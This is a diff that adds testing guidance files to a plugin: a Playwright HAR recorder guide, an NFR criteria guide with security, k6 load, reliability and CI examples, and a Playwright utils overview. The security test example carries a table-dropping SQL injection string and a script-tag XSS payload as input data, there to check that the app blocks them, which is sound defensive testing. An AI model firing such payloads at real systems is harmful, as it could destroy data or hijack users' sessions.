+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
